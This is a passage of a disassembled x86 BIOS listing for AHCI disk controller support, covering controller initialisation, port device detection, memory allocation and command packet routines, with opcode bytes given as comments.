shr eax, 010h ; 66 c1 e8 10
mov es, dx ; 8e c2
mov word [es:di+00268h], ax ; 26 89 85 68 02
mov es, cx ; 8e c1
add bx, si ; 01 f3
mov bl, byte [es:bx+0022dh] ; 26 8a 9f 2d 02
xor bh, bh ; 30 ff
mov dx, word [es:si+00232h] ; 26 8b 94 32 02
xor ax, ax ; 31 c0
call 08e8ah ; e8 af fc
mov bx, strict word 00035h ; bb 35 00
mov ax, si ; 89 f0
mov dx, cx ; 89 ca
call 08aa5h ; e8 c0 f8
mov dx, ax ; 89 c2
mov es, cx ; 8e c1
mov ax, word [es:si+00eh] ; 26 8b 44 0e
mov word [es:si+018h], ax ; 26 89 44 18
xor bx, bx ; 31 db
mov es, [es:si+00232h] ; 26 8e 84 32 02
mov ax, word [es:bx+00268h] ; 26 8b 87 68 02
sal eax, 010h ; 66 c1 e0 10
mov ax, dx ; 89 d0
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn 00004h ; c2 04 00
ahci_cmd_packet_: ; 0xf920c LB 0x18c
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
sub sp, strict byte 0000eh ; 83 ec 0e
push ax ; 50
mov byte [bp-006h], dl ; 88 56 fa
mov word [bp-012h], bx ; 89 5e ee
mov word [bp-010h], cx ; 89 4e f0
mov dx, strict word 0000eh ; ba 0e 00
mov ax, strict word 00040h ; b8 40 00
call 0166eh ; e8 47 84
mov si, 00122h ; be 22 01
mov word [bp-008h], ax ; 89 46 f8
cmp byte [bp+00ah], 002h ; 80 7e 0a 02
jne short 09256h ; 75 23
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 f5 86
mov ax, 00ca6h ; b8 a6 0c
push ax ; 50
mov ax, 00cb6h ; b8 b6 0c
push ax ; 50
mov ax, strict word 00004h ; b8 04 00
push ax ; 50
call 01976h ; e8 29 87
add sp, strict byte 00006h ; 83 c4 06
mov ax, strict word 00001h ; b8 01 00
jmp near 0938fh ; e9 39 01
test byte [bp+004h], 001h ; f6 46 04 01
jne short 09250h ; 75 f4
mov bx, word [bp+006h] ; 8b 5e 06
mov di, word [bp+008h] ; 8b 7e 08
mov cx, strict word 00008h ; b9 08 00
sal bx, 1 ; d1 e3
rcl di, 1 ; d1 d7
loop 09265h ; e2 fa
mov es, [bp-008h] ; 8e 46 f8
mov word [es:si], bx ; 26 89 1c
mov word [es:si+002h], di ; 26 89 7c 02
mov word [es:si+004h], strict word 00000h ; 26 c7 44 04 00 00
mov word [es:si+006h], strict word 00000h ; 26 c7 44 06 00 00
mov ax, word [bp+00ch] ; 8b 46 0c
mov word [es:si+008h], ax ; 26 89 44 08
mov ax, word [bp+00eh] ; 8b 46 0e
mov word [es:si+00ah], ax ; 26 89 44 0a
mov bx, word [es:si+010h] ; 26 8b 5c 10
mov ax, word [bp+006h] ; 8b 46 06
mov dx, word [bp+008h] ; 8b 56 08
xor cx, cx ; 31 c9
call 0a170h ; e8 d2 0e
mov word [es:si+00eh], ax ; 26 89 44 0e
xor di, di ; 31 ff
mov ax, word [es:si+00232h] ; 26 8b 84 32 02
mov word [bp-00ah], ax ; 89 46 f6
mov word [bp-00eh], di ; 89 7e f2
mov word [bp-00ch], ax ; 89 46 f4
sub word [bp-014h], strict byte 0000ch ; 83 6e ec 0c
shr eax, 010h ; 66 c1 e8 10
mov es, [bp-00ah] ; 8e 46 f6
mov word [es:di+00268h], ax ; 26 89 85 68 02
mov es, [bp-008h] ; 8e 46 f8
mov bx, word [bp-014h] ; 8b 5e ec
add bx, si ; 01 f3
mov bl, byte [es:bx+0022dh] ; 26 8a 9f 2d 02
xor bh, bh ; 30 ff
mov dx, word [es:si+00232h] ; 26 8b 94 32 02
xor ax, ax ; 31 c0
call 08e8ah ; e8 af fb
mov al, byte [bp-006h] ; 8a 46 fa
xor ah, ah ; 30 e4
push ax ; 50
mov bx, word [bp-012h] ; 8b 5e ee
mov cx, word [bp-010h] ; 8b 4e f0
mov ax, 000c0h ; b8 c0 00
mov dx, word [bp-00ah] ; 8b 56 f6
call 0a1d0h ; e8 e0 0e
mov es, [bp-008h] ; 8e 46 f8
mov word [es:si+018h], di ; 26 89 7c 18
mov word [es:si+01ah], di ; 26 89 7c 1a
mov word [es:si+01ch], di ; 26 89 7c 1c
mov ax, word [es:si+01eh] ; 26 8b 44 1e
test ax, ax ; 85 c0
je short 0932eh ; 74 27
dec ax ; 48
mov es, [bp-00ah] ; 8e 46 f6
mov word [es:di+0010ch], ax ; 26 89 85 0c 01
mov word [es:di+0010eh], di ; 26 89 bd 0e 01
mov ax, word [es:di+00264h] ; 26 8b 85 64 02
mov dx, word [es:di+00266h] ; 26 8b 95 66 02
mov word [es:di+00100h], ax ; 26 89 85 00 01
mov word [es:di+00102h], dx ; 26 89 95 02 01
inc byte [es:di+00263h] ; 26 fe 85 63 02
mov bx, 000a0h ; bb a0 00
mov ax, si ; 89 f0
mov dx, word [bp-008h] ; 8b 56 f8
call 08aa5h ; e8 6c f7
les bx, [bp-00eh] ; c4 5e f2
mov dx, word [es:bx+004h] ; 26 8b 57 04
mov ax, word [es:bx+006h] ; 26 8b 47 06
mov es, [bp-008h] ; 8e 46 f8
mov word [es:si+01ah], dx ; 26 89 54 1a
mov word [es:si+01ch], ax ; 26 89 44 1c
mov bx, word [es:si+01ah] ; 26 8b 5c 1a
mov cx, ax ; 89 c1
shr cx, 1 ; d1 e9
rcr bx, 1 ; d1 db
mov di, word [es:si+008h] ; 26 8b 7c 08
mov ax, word [es:si+00ah] ; 26 8b 44 0a
mov cx, bx ; 89 d9
mov si, di ; 89 fe
mov dx, ax ; 89 c2
mov es, ax ; 8e c0
push DS ; 1e
mov ds, dx ; 8e da
rep movsw ; f3 a5
pop DS ; 1f
les bx, [bp-00eh] ; c4 5e f2
mov ax, word [es:bx+00268h] ; 26 8b 87 68 02
sal eax, 010h ; 66 c1 e0 10
mov es, [bp-00ch] ; 8e 46 f4
mov ax, word [es:bx+006h] ; 26 8b 47 06
or ax, word [es:bx+004h] ; 26 0b 47 04
jne short 0938dh ; 75 05
mov ax, strict word 00004h ; b8 04 00
jmp short 0938fh ; eb 02
xor ax, ax ; 31 c0
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn 0000ch ; c2 0c 00
wait_ticks_device_init_: ; 0xf9398 LB 0x5
push bp ; 55
mov bp, sp ; 89 e5
pop bp ; 5d
retn ; c3
ahci_port_detect_device_: ; 0xf939d LB 0x4f6
push bp ; 55
mov bp, sp ; 89 e5
push cx ; 51
push si ; 56
push di ; 57
sub sp, 0022ch ; 81 ec 2c 02
mov si, ax ; 89 c6
mov word [bp-01ah], dx ; 89 56 e6
mov byte [bp-008h], bl ; 88 5e f8
mov word [bp-01eh], strict word 00000h ; c7 46 e2 00 00
mov al, bl ; 88 d8
mov byte [bp-02ah], bl ; 88 5e d6
xor al, bl ; 30 d8
mov byte [bp-029h], al ; 88 46 d7
mov bx, word [bp-02ah] ; 8b 5e d6
mov ax, si ; 89 f0
call 08e8ah ; e8 c4 fa
mov dx, strict word 0000eh ; ba 0e 00
mov ax, strict word 00040h ; b8 40 00
call 0166eh ; e8 9f 82
mov word [bp-026h], 00122h ; c7 46 da 22 01
mov word [bp-024h], ax ; 89 46 dc
mov CL, strict byte 007h ; b1 07
mov ax, word [bp-02ah] ; 8b 46 d6
sal ax, CL ; d3 e0
add ax, 0012ch ; 05 2c 01
cwd ; 99
mov di, ax ; 89 c7
mov bx, dx ; 89 d3
mov es, [bp-01ah] ; 8e 46 e6
mov dx, word [es:si+00260h] ; 26 8b 94 60 02
mov cx, bx ; 89 d9
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
mov es, [bp-01ah] ; 8e 46 e6
mov dx, word [es:si+00260h] ; 26 8b 94 60 02
add dx, strict byte 00004h ; 83 c2 04
mov ax, strict word 00001h ; b8 01 00
xor cx, cx ; 31 c9
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
mov es, [bp-01ah] ; 8e 46 e6
mov dx, word [es:si+00260h] ; 26 8b 94 60 02
mov ax, di ; 89 f8
mov cx, bx ; 89 d9
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
mov es, [bp-01ah] ; 8e 46 e6
mov dx, word [es:si+00260h] ; 26 8b 94 60 02
add dx, strict byte 00004h ; 83 c2 04
xor ax, ax ; 31 c0
xor cx, cx ; 31 c9
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
mov di, strict word 0006ch ; bf 6c 00
mov ax, strict word 00040h ; b8 40 00
mov word [bp-014h], ax ; 89 46 ec
mov es, ax ; 8e c0
mov ax, word [es:di] ; 26 8b 05
add ax, strict word 00003h ; 05 03 00
mov word [bp-01ch], ax ; 89 46 e4
mov ax, word [es:di+002h] ; 26 8b 45 02
adc ax, strict word 00000h ; 15 00 00
mov word [bp-028h], ax ; 89 46 d8
mov es, [bp-014h] ; 8e 46 ec
mov ax, word [es:di+002h] ; 26 8b 45 02
cmp ax, word [bp-028h] ; 3b 46 d8
jc short 0947ah ; 72 11
mov ax, word [es:di+002h] ; 26 8b 45 02
cmp ax, word [bp-028h] ; 3b 46 d8
jne short 094c8h ; 75 56
mov ax, word [es:di] ; 26 8b 05
cmp ax, word [bp-01ch] ; 3b 46 e4
jnc short 094c8h ; 73 4e
mov al, byte [bp-008h] ; 8a 46 f8
xor ah, ah ; 30 e4
mov CL, strict byte 007h ; b1 07
sal ax, CL ; d3 e0
add ax, 00128h ; 05 28 01
cwd ; 99
mov es, [bp-01ah] ; 8e 46 e6
mov bx, word [es:si+00260h] ; 26 8b 9c 60 02
mov cx, dx ; 89 d1
mov dx, bx ; 89 da
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
mov es, [bp-01ah] ; 8e 46 e6
mov dx, word [es:si+00260h] ; 26 8b 94 60 02
add dx, strict byte 00004h ; 83 c2 04
in eax, DX ; 66 ed
db 08bh, 0d0h
; mov dx, ax ; 8b d0
shr eax, 010h ; 66 c1 e8 10
xchg dx, ax ; 92
mov word [bp-022h], ax ; 89 46 de
mov word [bp-020h], dx ; 89 56 e0
xor bx, bx ; 31 db
push bx ; 53
mov bx, strict word 0000fh ; bb 0f 00
xor cx, cx ; 31 c9
call 08912h ; e8 51 f4
cmp ax, strict word 00003h ; 3d 03 00
jne short 0945dh ; 75 97
jmp short 094d1h ; eb 09
cmp word [bp-01eh], strict byte 00000h ; 83 7e e2 00
jne short 094d1h ; 75 03
jmp near 0988bh ; e9 ba 03
xor ax, ax ; 31 c0
push ax ; 50
mov bx, strict word 0000fh ; bb 0f 00
xor cx, cx ; 31 c9
mov ax, word [bp-022h] ; 8b 46 de
mov dx, word [bp-020h] ; 8b 56 e0
call 08912h ; e8 30 f4
cmp ax, strict word 00003h ; 3d 03 00
jne short 094ceh ; 75 e7
mov al, byte [bp-008h] ; 8a 46 f8
xor ah, ah ; 30 e4
mov CL, strict byte 007h ; b1 07
mov di, ax ; 89 c7
sal di, CL ; d3 e7
lea ax, [di+00130h] ; 8d 85 30 01
cwd ; 99
mov es, [bp-01ah] ; 8e 46 e6
mov bx, word [es:si+00260h] ; 26 8b 9c 60 02
mov cx, dx ; 89 d1
mov dx, bx ; 89 da
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
mov es, [bp-01ah] ; 8e 46 e6
mov dx, word [es:si+00260h] ; 26 8b 94 60 02
add dx, strict byte 00004h ; 83 c2 04
mov ax, strict word 0ffffh ; b8 ff ff
mov cx, ax ; 89 c1
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
les bx, [bp-026h] ; c4 5e da
mov al, byte [es:bx+00231h] ; 26 8a 87 31 02
mov byte [bp-00ch], al ; 88 46 f4
cmp AL, strict byte 004h ; 3c 04
jnc short 094ceh ; 73 9a
lea ax, [di+00118h] ; 8d 85 18 01
mov es, [bp-01ah] ; 8e 46 e6
mov bx, word [es:si+00260h] ; 26 8b 9c 60 02
xor cx, cx ; 31 c9
mov dx, bx ; 89 da
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
add bx, strict byte 00004h ; 83 c3 04
mov dx, bx ; 89 da
in eax, DX ; 66 ed
db 08bh, 0d0h
; mov dx, ax ; 8b d0
shr eax, 010h ; 66 c1 e8 10
xchg dx, ax ; 92
or AL, strict byte 010h ; 0c 10
mov cx, dx ; 89 d1
mov dx, bx ; 89 da
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
lea ax, [di+00124h] ; 8d 85 24 01
cwd ; 99
mov es, [bp-01ah] ; 8e 46 e6
mov bx, word [es:si+00260h] ; 26 8b 9c 60 02
mov cx, dx ; 89 d1
mov dx, bx ; 89 da
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
mov es, [bp-01ah] ; 8e 46 e6
mov dx, word [es:si+00260h] ; 26 8b 94 60 02
add dx, strict byte 00004h ; 83 c2 04
in eax, DX ; 66 ed
db 08bh, 0d0h
; mov dx, ax ; 8b d0
shr eax, 010h ; 66 c1 e8 10
xchg dx, ax ; 92
mov bl, byte [bp-00ch] ; 8a 5e f4
add bl, 00ch ; 80 c3 0c
mov byte [bp-00eh], bl ; 88 5e f2
test dx, dx ; 85 d2
jne short 095f9h ; 75 54
cmp ax, 00101h ; 3d 01 01
jne short 095f9h ; 75 4f
les bx, [bp-026h] ; c4 5e da
mov word [es:bx+006h], strict word 00000h ; 26 c7 47 06 00 00
mov word [es:bx+004h], strict word 00000h ; 26 c7 47 04 00 00
mov word [es:bx+002h], strict word 00000h ; 26 c7 47 02 00 00
mov word [es:bx], strict word 00000h ; 26 c7 07 00 00
lea dx, [bp-00232h] ; 8d 96 ce fd
mov word [es:bx+008h], dx ; 26 89 57 08
mov [es:bx+00ah], ss ; 26 8c 57 0a
mov word [es:bx+00eh], strict word 00001h ; 26 c7 47 0e 01 00
mov word [es:bx+010h], 00200h ; 26 c7 47 10 00 02
mov bx, 000ech ; bb ec 00
mov ax, word [bp-026h] ; 8b 46 da
mov dx, es ; 8c c2
call 08aa5h ; e8 be f4
mov al, byte [bp-00eh] ; 8a 46 f2
mov byte [bp-00ah], al ; 88 46 f6
test byte [bp-00232h], 080h ; f6 86 ce fd 80
je short 095fch ; 74 08
mov ax, strict word 00001h ; b8 01 00
jmp short 095feh ; eb 05
jmp near 097cah ; e9 ce 01
xor ax, ax ; 31 c0
mov cl, al ; 88 c1
mov ax, word [bp-00230h] ; 8b 86 d0 fd
mov word [bp-018h], ax ; 89 46 e8
mov ax, word [bp-0022ch] ; 8b 86 d4 fd
mov word [bp-016h], ax ; 89 46 ea
mov ax, word [bp-00226h] ; 8b 86 da fd
mov word [bp-02ch], ax ; 89 46 d4
mov di, word [bp-001bah] ; 8b be 46 fe
mov si, word [bp-001b8h] ; 8b b6 48 fe
xor ax, ax ; 31 c0
mov word [bp-012h], ax ; 89 46 ee
mov word [bp-010h], ax ; 89 46 f0
cmp si, 00fffh ; 81 fe ff 0f
jne short 09646h ; 75 1b
cmp di, strict byte 0ffffh ; 83 ff ff
jne short 09646h ; 75 16
mov ax, word [bp-00164h] ; 8b 86 9c fe
mov word [bp-010h], ax ; 89 46 f0
mov ax, word [bp-00166h] ; 8b 86 9a fe
mov word [bp-012h], ax ; 89 46 ee
mov si, word [bp-00168h] ; 8b b6 98 fe
mov di, word [bp-0016ah] ; 8b be 96 fe
mov bl, byte [bp-00ch] ; 8a 5e f4
xor bh, bh ; 30 ff
mov es, [bp-024h] ; 8e 46 dc
add bx, word [bp-026h] ; 03 5e da
mov al, byte [bp-008h] ; 8a 46 f8
mov byte [es:bx+0022dh], al ; 26 88 87 2d 02
mov al, byte [bp-00ah] ; 8a 46 f6
xor ah, ah ; 30 e4
mov dx, strict word 0001ch ; ba 1c 00
imul dx ; f7 ea
mov bx, word [bp-026h] ; 8b 5e da
add bx, ax ; 01 c3
mov word [es:bx+022h], 0ff05h ; 26 c7 47 22 05 ff
mov byte [es:bx+024h], cl ; 26 88 4f 24
mov byte [es:bx+025h], 000h ; 26 c6 47 25 00
mov word [es:bx+028h], 00200h ; 26 c7 47 28 00 02
mov byte [es:bx+027h], 001h ; 26 c6 47 27 01
mov ax, word [bp-010h] ; 8b 46 f0
mov word [es:bx+03ch], ax ; 26 89 47 3c
mov ax, word [bp-012h] ; 8b 46 ee
mov word [es:bx+03ah], ax ; 26 89 47 3a
mov word [es:bx+038h], si ; 26 89 77 38
mov word [es:bx+036h], di ; 26 89 7f 36
mov ax, word [bp-016h] ; 8b 46 ea
mov word [es:bx+030h], ax ; 26 89 47 30
mov ax, word [bp-018h] ; 8b 46 e8
mov word [es:bx+032h], ax ; 26 89 47 32
mov ax, word [bp-02ch] ; 8b 46 d4
mov word [es:bx+034h], ax ; 26 89 47 34
mov al, byte [bp-00ch] ; 8a 46 f4
cmp AL, strict byte 001h ; 3c 01
jc short 096c0h ; 72 0c
jbe short 096c8h ; 76 12
cmp AL, strict byte 003h ; 3c 03
je short 096d0h ; 74 16
cmp AL, strict byte 002h ; 3c 02
je short 096cch ; 74 0e
jmp short 0971ah ; eb 5a
test al, al ; 84 c0
jne short 0971ah ; 75 56
mov BL, strict byte 040h ; b3 40
jmp short 096d2h ; eb 0a
mov BL, strict byte 048h ; b3 48
jmp short 096d2h ; eb 06
mov BL, strict byte 050h ; b3 50
jmp short 096d2h ; eb 02
mov BL, strict byte 058h ; b3 58
mov dl, bl ; 88 da
add dl, 007h ; 80 c2 07
xor dh, dh ; 30 f6
mov ax, dx ; 89 d0
call 016aeh ; e8 d0 7f
test al, al ; 84 c0
je short 0971ah ; 74 38
mov al, bl ; 88 d8
db 0feh, 0c0h
; inc al ; fe c0
xor ah, ah ; 30 e4
call 016aeh ; e8 c3 7f
mov byte [bp-029h], al ; 88 46 d7
mov byte [bp-02ah], dh ; 88 76 d6
mov al, bl ; 88 d8
xor ah, ah ; 30 e4
call 016aeh ; e8 b6 7f
xor ah, ah ; 30 e4
mov cx, word [bp-02ah] ; 8b 4e d6
add cx, ax ; 01 c1
mov word [bp-030h], cx ; 89 4e d0
mov al, bl ; 88 d8
add AL, strict byte 002h ; 04 02
call 016aeh ; e8 a5 7f
xor ah, ah ; 30 e4
mov word [bp-032h], ax ; 89 46 ce
mov ax, dx ; 89 d0
call 016aeh ; e8 9b 7f
xor ah, ah ; 30 e4
mov word [bp-02eh], ax ; 89 46 d2
jmp short 0972ah ; eb 10
push word [bp-010h] ; ff 76 f0
push word [bp-012h] ; ff 76 ee
push si ; 56
push di ; 57
mov dx, ss ; 8c d2
lea ax, [bp-032h] ; 8d 46 ce
call 05b9fh ; e8 75 c4
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 fe 81
push word [bp-010h] ; ff 76 f0
push word [bp-012h] ; ff 76 ee
push si ; 56
push di ; 57
mov ax, word [bp-02eh] ; 8b 46 d2
push ax ; 50
mov ax, word [bp-032h] ; 8b 46 ce
push ax ; 50
mov ax, word [bp-030h] ; 8b 46 d0
push ax ; 50
push word [bp-02ch] ; ff 76 d4
push word [bp-016h] ; ff 76 ea
push word [bp-018h] ; ff 76 e8
mov al, byte [bp-008h] ; 8a 46 f8
xor ah, ah ; 30 e4
push ax ; 50
mov al, byte [bp-00ch] ; 8a 46 f4
push ax ; 50
mov ax, 00cd6h ; b8 d6 0c
push ax ; 50
mov ax, strict word 00004h ; b8 04 00
push ax ; 50
call 01976h ; e8 0f 82
add sp, strict byte 0001ch ; 83 c4 1c
mov al, byte [bp-00ah] ; 8a 46 f6
xor ah, ah ; 30 e4
mov dx, strict word 0001ch ; ba 1c 00
imul dx ; f7 ea
mov di, word [bp-026h] ; 8b 7e da
add di, ax ; 01 c7
mov es, [bp-024h] ; 8e 46 dc
lea di, [di+02ah] ; 8d 7d 2a
push DS ; 1e
push SS ; 16
pop DS ; 1f
lea si, [bp-032h] ; 8d 76 ce
movsw ; a5
movsw ; a5
movsw ; a5
pop DS ; 1f
mov bx, word [bp-026h] ; 8b 5e da
mov bl, byte [es:bx+001e2h] ; 26 8a 9f e2 01
mov dl, byte [bp-00ch] ; 8a 56 f4
add dl, 00ch ; 80 c2 0c
mov al, bl ; 88 d8
xor ah, ah ; 30 e4
mov si, word [bp-026h] ; 8b 76 da
add si, ax ; 01 c6
mov byte [es:si+001e3h], dl ; 26 88 94 e3 01
db 0feh, 0c3h
; inc bl ; fe c3
mov si, word [bp-026h] ; 8b 76 da
mov byte [es:si+001e2h], bl ; 26 88 9c e2 01
mov dx, strict word 00075h ; ba 75 00
mov ax, strict word 00040h ; b8 40 00
call 01652h ; e8 9a 7e
mov bl, al ; 88 c3
db 0feh, 0c3h
; inc bl ; fe c3
xor bh, bh ; 30 ff
mov dx, strict word 00075h ; ba 75 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 99 7e
jmp near 0987dh ; e9 b3 00
cmp dx, 0eb14h ; 81 fa 14 eb
jne short 09824h ; 75 54
cmp ax, 00101h ; 3d 01 01
jne short 09824h ; 75 4f
les bx, [bp-026h] ; c4 5e da
mov word [es:bx+006h], strict word 00000h ; 26 c7 47 06 00 00
mov word [es:bx+004h], strict word 00000h ; 26 c7 47 04 00 00
mov word [es:bx+002h], strict word 00000h ; 26 c7 47 02 00 00
mov word [es:bx], strict word 00000h ; 26 c7 07 00 00
lea dx, [bp-00232h] ; 8d 96 ce fd
mov word [es:bx+008h], dx ; 26 89 57 08
mov [es:bx+00ah], ss ; 26 8c 57 0a
mov word [es:bx+00eh], strict word 00001h ; 26 c7 47 0e 01 00
mov word [es:bx+010h], 00200h ; 26 c7 47 10 00 02
mov bx, 000a1h ; bb a1 00
mov ax, word [bp-026h] ; 8b 46 da
mov dx, es ; 8c c2
call 08aa5h ; e8 93 f2
mov al, byte [bp-00eh] ; 8a 46 f2
mov byte [bp-00ah], al ; 88 46 f6
test byte [bp-00232h], 080h ; f6 86 ce fd 80
je short 09826h ; 74 07
mov cx, strict word 00001h ; b9 01 00
jmp short 09828h ; eb 04
jmp short 0987dh ; eb 57
xor cx, cx ; 31 c9
mov bl, byte [bp-00ch] ; 8a 5e f4
xor bh, bh ; 30 ff
mov es, [bp-024h] ; 8e 46 dc
add bx, word [bp-026h] ; 03 5e da
mov al, byte [bp-008h] ; 8a 46 f8
mov byte [es:bx+0022dh], al ; 26 88 87 2d 02
mov al, byte [bp-00ah] ; 8a 46 f6
xor ah, ah ; 30 e4
mov dx, strict word 0001ch ; ba 1c 00
imul dx ; f7 ea
mov bx, word [bp-026h] ; 8b 5e da
add bx, ax ; 01 c3
mov word [es:bx+022h], 00505h ; 26 c7 47 22 05 05
mov byte [es:bx+024h], cl ; 26 88 4f 24
mov word [es:bx+028h], 00800h ; 26 c7 47 28 00 08
mov bx, word [bp-026h] ; 8b 5e da
mov dl, byte [es:bx+001f3h] ; 26 8a 97 f3 01
mov al, byte [bp-00ch] ; 8a 46 f4
add AL, strict byte 00ch ; 04 0c
mov bl, dl ; 88 d3
xor bh, bh ; 30 ff
add bx, word [bp-026h] ; 03 5e da
mov byte [es:bx+001f4h], al ; 26 88 87 f4 01
db 0feh, 0c2h
; inc dl ; fe c2
mov bx, word [bp-026h] ; 8b 5e da
mov byte [es:bx+001f3h], dl ; 26 88 97 f3 01
inc byte [bp-00ch] ; fe 46 f4
mov al, byte [bp-00ch] ; 8a 46 f4
les bx, [bp-026h] ; c4 5e da
mov byte [es:bx+00231h], al ; 26 88 87 31 02
lea sp, [bp-006h] ; 8d 66 fa
pop di ; 5f
pop si ; 5e
pop cx ; 59
pop bp ; 5d
retn ; c3
ahci_mem_alloc_: ; 0xf9893 LB 0x43
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push cx ; 51
push dx ; 52
push si ; 56
push di ; 57
mov dx, 00413h ; ba 13 04
xor ax, ax ; 31 c0
call 0166eh ; e8 cb 7d
test ax, ax ; 85 c0
je short 098cch ; 74 25
dec ax ; 48
mov bx, ax ; 89 c3
xor dx, dx ; 31 d2
mov cx, strict word 0000ah ; b9 0a 00
sal ax, 1 ; d1 e0
rcl dx, 1 ; d1 d2
loop 098afh ; e2 fa
mov si, ax ; 89 c6
mov di, dx ; 89 d7
mov cx, strict word 00004h ; b9 04 00
shr di, 1 ; d1 ef
rcr si, 1 ; d1 de
loop 098bch ; e2 fa
mov dx, 00413h ; ba 13 04
xor ax, ax ; 31 c0
call 0167ch ; e8 b2 7d
mov ax, si ; 89 f0
lea sp, [bp-00ah] ; 8d 66 f6
pop di ; 5f
pop si ; 5e
pop dx ; 5a
pop cx ; 59
pop bx ; 5b
pop bp ; 5d
retn ; c3
ahci_hba_init_: ; 0xf98d6 LB 0x16e
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push cx ; 51
push dx ; 52
push si ; 56
push di ; 57
sub sp, strict byte 00006h ; 83 ec 06
mov si, ax ; 89 c6
mov dx, strict word 0000eh ; ba 0e 00
mov ax, strict word 00040h ; b8 40 00
call 0166eh ; e8 82 7d
mov bx, 00122h ; bb 22 01
mov di, ax ; 89 c7
mov ax, strict word 00010h ; b8 10 00
xor cx, cx ; 31 c9
mov dx, si ; 89 f2
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
lea dx, [si+004h] ; 8d 54 04
in eax, DX ; 66 ed
db 08bh, 0d0h
; mov dx, ax ; 8b d0
shr eax, 010h ; 66 c1 e8 10
xchg dx, ax ; 92
call 09893h ; e8 83 ff
mov word [bp-010h], ax ; 89 46 f0
test ax, ax ; 85 c0
jne short 0991ah ; 75 03
jmp near 09a23h ; e9 09 01
mov ax, word [bp-010h] ; 8b 46 f0
mov es, di ; 8e c7
mov word [es:bx+00232h], ax ; 26 89 87 32 02
mov byte [es:bx+00231h], 000h ; 26 c6 87 31 02 00
xor bx, bx ; 31 db
mov es, ax ; 8e c0
mov byte [es:bx+00262h], 0ffh ; 26 c6 87 62 02 ff
mov word [es:bx+00260h], si ; 26 89 b7 60 02
mov word [es:bx+00264h], 0c000h ; 26 c7 87 64 02 00 c0
mov word [es:bx+00266h], strict word 0000ch ; 26 c7 87 66 02 0c 00
mov ax, strict word 00004h ; b8 04 00
xor cx, cx ; 31 c9
mov dx, si ; 89 f2
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
lea bx, [si+004h] ; 8d 5c 04
mov dx, bx ; 89 da
in eax, DX ; 66 ed
db 08bh, 0d0h
; mov dx, ax ; 8b d0
shr eax, 010h ; 66 c1 e8 10
xchg dx, ax ; 92
or AL, strict byte 001h ; 0c 01
mov cx, dx ; 89 d1
mov dx, bx ; 89 da
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
mov ax, strict word 00004h ; b8 04 00
xor cx, cx ; 31 c9
mov dx, si ; 89 f2
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
lea bx, [si+004h] ; 8d 5c 04
mov dx, bx ; 89 da
in eax, DX ; 66 ed
db 08bh, 0d0h
; mov dx, ax ; 8b d0
shr eax, 010h ; 66 c1 e8 10
xchg dx, ax ; 92
test AL, strict byte 001h ; a8 01
jne short 09974h ; 75 de
xor ax, ax ; 31 c0
xor cx, cx ; 31 c9
mov dx, si ; 89 f2
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
mov dx, bx ; 89 da
in eax, DX ; 66 ed
db 08bh, 0d0h
; mov dx, ax ; 8b d0
shr eax, 010h ; 66 c1 e8 10
xchg dx, ax ; 92
xor bx, bx ; 31 db
push bx ; 53
mov bx, strict word 0001fh ; bb 1f 00
xor cx, cx ; 31 c9
call 08912h ; e8 57 ef
db 0feh, 0c0h
; inc al ; fe c0
mov byte [bp-00eh], al ; 88 46 f2
mov byte [bp-00ch], 000h ; c6 46 f4 00
jmp short 099e7h ; eb 21
xor al, al ; 30 c0
test al, al ; 84 c0
je short 099deh ; 74 12
mov bl, byte [bp-00ch] ; 8a 5e f4
xor bh, bh ; 30 ff
xor ax, ax ; 31 c0
mov dx, word [bp-010h] ; 8b 56 f0
call 0939dh ; e8 c4 f9
dec byte [bp-00eh] ; fe 4e f2
je short 09a21h ; 74 43
inc byte [bp-00ch] ; fe 46 f4
cmp byte [bp-00ch], 020h ; 80 7e f4 20
jnc short 09a21h ; 73 3a
mov cl, byte [bp-00ch] ; 8a 4e f4
